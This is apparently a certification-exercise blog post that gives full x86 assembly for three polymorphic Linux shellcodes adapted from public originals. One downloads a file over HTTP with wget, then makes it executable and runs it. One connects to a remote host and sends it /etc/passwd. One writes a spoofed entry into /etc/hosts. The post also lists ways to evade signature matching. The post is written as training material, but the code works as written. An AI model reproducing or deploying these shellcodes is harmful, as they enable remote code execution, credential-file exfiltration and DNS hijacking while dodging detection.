This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-877
To get the code provided in this exercise:
% git clone https://github.com/droberson/SLAE.git
The code will be within the Assignment-6 directory.
What is Polymorphic Shellcode?
Quoting the Wikipedia article about Polymorphic Code directly:
In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all.
For this assignment, we aren’t going to actually implement a polymorphic engine, but simply alter three existing shellcodes, creating alternate versions of them that are functionally equivalent, but will not pass a pattern match for the original.
There are several ways to accomplish this:
- Changing the order of instructions.
- Inserting NOP instructions between valid instructions.
- Utilize different registers if possible.
- Encode/decode the shellcode.
- Use one of the 19025091295 oddball instructions in the x86 instruction set that no one uses.
- Change the logic within loops.
- Plenty more, just put dive into assembly language and the answers will present themselves with study.
#1 – wget x, chmod +x x, execute x
The original shellcode that I used for this is located at http://shell-storm.org/shellcode/files/shellcode-862.php
This was written by Daniel Sauder and is originally 108 bytes. I was able to do some basic modifications and make this appear completely different, only adding 4 bytes to the original size.
I used vbindiff to show the differences. Only one byte matched, and much of the shellcode is different:
Here is the modified code:
BITS 32 global _start section .text _start: ;fork sub eax, eax add eax, 2 int 0x80 sub ebx,ebx cmp eax,ebx jz child ;wait(NULL) sub eax,eax add al, 7 int 0x80 ;chmod x sub ecx, ecx sub eax, eax push eax mov al, 0xf push 0x78 mov ebx, esp sub ecx, ecx mov cx, 0x1ff int 0x80 ;exec x sub eax, eax push eax push 0x78 mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp ;mov al, 11 add eax, 11 int 0x80 child: push 0xb pop eax cdq push edx jmp url one: pop esi mov ecx, esi push 0x74 ;t push 0x6567772f ;egw/ push 0x6e69622f ;nib/ push 0x7273752f ;rsu/ mov ebx,esp push edx push ecx push ebx mov ecx,esp int 0x80 url: call one db "192.168.10.10/x" ;; change ip only. /x is necessary
#2 – Reverse shell that sends /etc/passwd
Again, I used one of Daniel Sauder’s shellcodes. This one connects back to a host and sends the contents of /etc/passwd. The original code is located here:http://shell-storm.org/shellcode/files/shellcode-861.php
This code is originally 111 bytes long, I added two bytes and made it mostly different:
; Author: Daniel Sauder ; Website: http://govolution.wordpress.com/about ; License http://creativecommons.org/licenses/by-sa/3.0/ ; Shellcode reads /etc/passwd and sends the content to 127.1.1.1 port 12345. ; The file can be recieved using netcat: ; $ nc -l 127.1.1.1 12345 BITS 32 section .text global _start _start: ; socket xor eax, eax add eax, 102 sub ebx, ebx mov edx, ebx inc ebx push edx push BYTE 0x1 push BYTE 0x2 mov ecx, esp int 0x80 ;mov esi, eax xchg eax, esi ; connect push BYTE 0x66 pop eax inc ebx push DWORD 0x1111117f ;127.17.17.17 push WORD 0x3930 ; Port 12345 push WORD bx mov ecx, esp push BYTE 16 push ecx push esi mov ecx, esp inc ebx int 0x80 ; dup2 ;mov esi, eax xchg eax, esi xor ecx, ecx inc ecx sub eax, eax add eax, 0x3f ;mov eax, 0x3F int 0x80 ;read the file jmp short call_shellcode shellcode: push 0x5 pop eax pop ebx sub ecx,ecx int 0x80 mov ebx,eax mov al,0x3 mov edi,esp mov ecx,edi xor edx,edx mov dh,0xff mov dl,0xff int 0x80 mov edx,eax push 0x4 pop eax mov bl, 0x1 int 0x80 push 0x1 pop eax ;inc ebx int 0x80 call_shellcode: call shellcode message db "/etc/passwd"
Here’s a visual representation of how different they are using vbindiff again:
#3 – Add an Entry to /etc/hosts
This shellcode adds an entry to /etc/hosts and was originally written by Javier Tejedor. It is 77 bytes long and the original source can be found here: http://shell-storm.org/shellcode/files/shellcode-893.php
I modified this and ended up with an 81 byte shellcode. This is an extra 4 bytes:
BITS 32 global _start section .text _start: sub eax, eax sub ecx, ecx push eax ;push 0x7374736f ;/etc///hosts ;push 0x682f2f2f ;push 0x6374652f push 0x7374736f ;//etc//hosts push 0x682f2f63 push 0x74652f2f mov ebx, esp ;mov cx, 0x401 ;permmisions add cx, 0x401 add eax, 5 int 0x80 ;syscall to open file xchg eax, ebx push 0x4 pop eax jmp short _load_data ;jmp-call-pop technique to load the map _write: pop ecx push 20 ;length of the string, dont forget to modify if changes the map pop edx int 0x80 ;syscall to write in the file ;push 0x6 ;pop eax sub eax, eax add eax, 6 int 0x80 ;syscall to close the file ;push 0x1 ;pop eax xor eax, eax inc eax int 0x80 ;syscall to exit _load_data: call _write google db "127.1.1.1 google.com"
Finally, I compare the two shellcodes with vbindiff: